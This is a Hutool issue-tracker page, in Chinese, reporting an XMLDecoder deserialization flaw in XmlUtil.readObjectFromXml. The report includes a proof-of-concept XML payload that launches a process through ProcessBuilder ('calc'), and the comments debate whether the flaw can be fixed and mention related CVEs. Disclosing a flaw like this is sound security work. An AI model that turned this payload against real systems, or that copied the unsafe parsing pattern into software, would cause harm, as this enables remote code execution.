3.8K Star 20.5K Fork 7.2K

GVPdromara / hutool

 / 详情

XmlUtil 反序列化漏洞

已完成
创建于  
2023-01-13 14:55

描述

Hutool 提供了 XML 工具类,使用 XmlUtil.readObjectFromXml 来解释不受信任 XML 字符串时,可能容易受到远程代码执行攻击

分析

程序会调用 XMLDecoder.readObject 解析 XML 字符串,造成反序列化漏洞

cn.hutool.core.util.XmlUtil#readObjectFromXml
输入图片说明

复现

XmlUtil.readObjectFromXml("<java>\n" +
        "    <object class=\"java.lang.ProcessBuilder\">\n" +
        "        <array class=\"java.lang.String\" length=\"1\">\n" +
        "            <void index=\"0\">\n" +
        "                <string>calc</string>\n" +
        "            </void>\n" +
        "        </array>\n" +
        "        <void method=\"start\"></void>\n" +
        "    </object>\n" +
        "</java>\n");

输入图片说明

评论 (10)

JOHNSON 创建了任务
JOHNSON 修改了描述
JOHNSON 修改了描述
展开全部操作日志

这玩意我记得jdk1.4-jdk11都有吧,只要用了官方的

CVE-2017-3506、CVE-2017-10271、CVE-2019-2729
不行到时候糊层黑名单吧

CherryRum 添加了
 
question
标签

严格来说这是JDK的漏洞,Hutool只是做了一层封装。

看来只能干掉这个方法?

Looly 任务状态从 待办的 修改为已完成

我在注释中增加了警告:输入图片说明

没看懂,加了个告警算处理了?
还是意思是没法修复,只要jdk自身没有xmldecode的问题或者加了黑名单,hutool的引入就不会产生安全问题?

是没法修复……

JDK的XmlDecoder产生的漏洞,作为工具类包装没法解决问题。

同样存在漏洞的方法还有IoUtil.readObject方法,存在反序列化漏洞,这些方法的漏洞在JDK中本身就存在,而且JDK的做法是要求用户自行检查内容,作为工具类,这块没法解决。

输入图片说明

同样,你可以看下ScriptUtil.eval,同样存在执行非法系统命令这类严重的漏洞,这些方法使用中,都应该由用户检查脚本本身的安全性。

Looly 添加了
 
enhancement
标签
Looly 移除了
 
question
标签

没有用到这个方法就不会有问题?

是滴。后续考虑删除这个方法。

可以在新版本中把这个方法拿掉吗?
过不了很多公司的安全扫描,影响Hutool在正规项目中的推广。公司不允许项目包中存在High以上漏洞的第三方包。 :sweat:
扫描结果

这个问题处理过了吗,有没有升级的没有critical的版本可以使用

登录 后才可以发表评论

状态
负责人
里程碑
Pull Requests
关联的 Pull Requests 被合并后可能会关闭此 issue
分支
开始日期   -   截止日期
-
置顶选项
优先级
参与者(7)
5611670 henan is unique oldletter 1638888421 1463 loolly admin 1578914022 7446616 edison cyh 1639911151 1974101 webdjango 1626927187
Java
1
https://gitee.com/dromara/hutool.git
git@gitee.com:dromara/hutool.git
dromara
hutool
hutool

搜索帮助